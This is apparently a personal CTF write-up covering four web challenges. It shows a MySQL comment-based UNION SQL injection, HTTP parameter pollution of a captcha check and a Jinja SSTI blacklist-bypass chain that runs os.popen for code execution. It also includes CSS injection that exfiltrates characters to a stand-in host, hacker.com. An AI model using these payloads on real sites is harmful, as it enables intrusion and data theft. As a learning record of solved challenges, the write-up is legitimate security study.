As I don’t have a CTF team of my own yet, I decided to join the John Hammond Discord Server team. As I am new to the team I started tackling challenges on my own at first. I successfully was able to solve 6 challenges by myself, all related to my strongest skill in web exploitation and programming. This post is just to summarize things I have learned from this CTF.


MySQL C-Style comments

I think everyone has seen something like the following type of comment in a MySQL database dump /*!50110 KEY_BLOCK_SIZE=1024 */. I never looked into what it does or anything until I was attempting “Execute No Evil". In the source code of the page it had the following SQL.

SELECT * FROM users WHERE name=/*" . $name . "*/ 'Geronimo'

As you can see the injection point was inside the comment. I didn’t understand what the MySQL documentation meant by “C-Style comments”. So I hopped onto DB Fiddler and started playing with the SQL and found out was able to full inject anything into the SQL just by adding a ! to the beginning of the injection. After playing with the SQL to gather the database information this was my payload and the SQL that ran.

# Payload
! 'Geronimo' UNION ALL SELECT 1,name,(Select whatsthis fRoM flag) FROM users WHERE name=

# SQL
SELECT * FROM users WHERE name=/*! 'Geronimo' UNION ALL SELECT 1,name,(Select whatsthis fRoM flag) FROM users WHERE name=*/ 'Geronimo'

HTTP Parameter Pollution

I never knew HTTP Parameter Pollution was a thing or that is what it was called. In the Roboworld challenge, you needed to bypass the captcha by setting privKey to the testing private key. When you attempt to login, it checks the captcha by requesting to an endpoint that can only be accessed from 127.0.0.1.

r = requests.get('http://127.0.0.1:{}/captchaVerify?captchaUserValue={}&privateKey={}'.format(str(port), captchaToken, privKey)) 

Since you are able to control captchaToken parameter you can pollute it with the testing private key.


Server Side Template Injection

I took part of the tuctf and was introduced to SSTI with flask. There wasn’t any blacklisting so it was easy to just print out the flag. This time while doing “Mercenary Hat Factory” the last step to get the flag was exploiting SSTI but there was a long list of blacklisted characters.

blacklist = ["config", "self", "request", "[", "]", '"', "_", "+", " ", "join", "%", "%25"]

To bypass everything was really difficult to do but with the help of someone I met through discord we were able to complete the payload. I had an idea of how to exploit it but couldn’t figure out a way to bypass the _ filter. After going back and forth with the person on discord I totally gave up on the CTF as it’s the last challenge I was thinking I could solve. Randomly that person messaged me a payload to get __class__ and I was completely intrested again. Going back and forth we were able to complete a full payload to have RCE and found the file with the flag.

# Jinja template syntax to get _ from string class
underscore = "(g.get|string|slice(4)|first|last)"

# ''.__class__
payload = f"''|attr({underscore}*2~'class'~{underscore}*2)"

# .__bases__[0]
payload = f"{payload}|attr({underscore}*2~'bases'~{underscore}*2)|first"

# .__subclasses__()
payload = f"{payload}|attr({underscore}*2~'subclasses'~{underscore}*2)()"

# For future reference
subclasses = payload

# Get item number 80, which is _frozen_importlib.BuiltinImporter
payload = f"{subclasses}|batch(81)|first|last"

# .load_module
payload = f"{payload}|attr('load'~{underscore}~'module')"

# For future reference
load_module_function = payload


# Get object subclass 6, which is bytes
bytes_class = f"({subclasses}|batch(7)|first|last)"

# Encode command to get around blacklisting of spaces
def protected_string(val:str):
    return f"({bytes_class}.fromhex('{val.encode().hex()}').decode())"


# .load_module('os').popen('base64 unusual_flag.mp4').read()
payload = f"({load_module_function}('os')).popen({protected_string('base64 unusual_flag.mp4')}).read()"


# ''.__class__.bases__[0].__subclasses__()[80].load_module('os').popen('base64 unusual_flag.mp4').read()
print(payload)

CSS Exfiltration

On the ‘Free as in Freedom’ Challenge I started going down the wrong path. Mr.Stallan was able to run Javascript but didn’t run any on the challenge page. After going down the wrong rabbit hole, I stumble upon CSS Exfiltration. Not something I thought was possible but in theory is’s possible with the right querying. The way I confirmed it was a CSS Exfiltration I needed to use to solve it was I noticed something weird. When you posted a suggestion it would put it as the value of a div.

<form action="/post_suggestion.php" method="post">
    Internet Handle: <input type="text" name="handle" value=""><br>
    <div class="suggestion" value="">
      <textarea name="suggestion" cols="40" placeholder="Enter your suggestion here."></textarea>
    </div>
    <div style="display:none">
	<img id="captcha" style="width:128px;border:1px dotted black" src="/securimage/securimage_show.php" alt="CAPTCHA Image" />
    	<br>
    	<input type="text" name="captcha_code" size="10" maxlength="6" />
    </div>
	  <input type="submit" value="Submit">
	</form>

The way I tested it to confirm I was on the right track finally was the following injection. Which caused a HTTP request to my server if div.suggestion was a real element. Knowning that now all you had to do was write a script to “brute force” the flag from the div.suggestion element.

<!-- Testing Injection  -->
<style>
    div.suggestion{
        background:url("http://hacker.com/");
    }
</style>

<!-- Basic Injection -->
<style>
    div.suggestion[value*="0"]{
        background-image: url(https://hacker.com/exfil?char=0);
    }
</style>

Resources: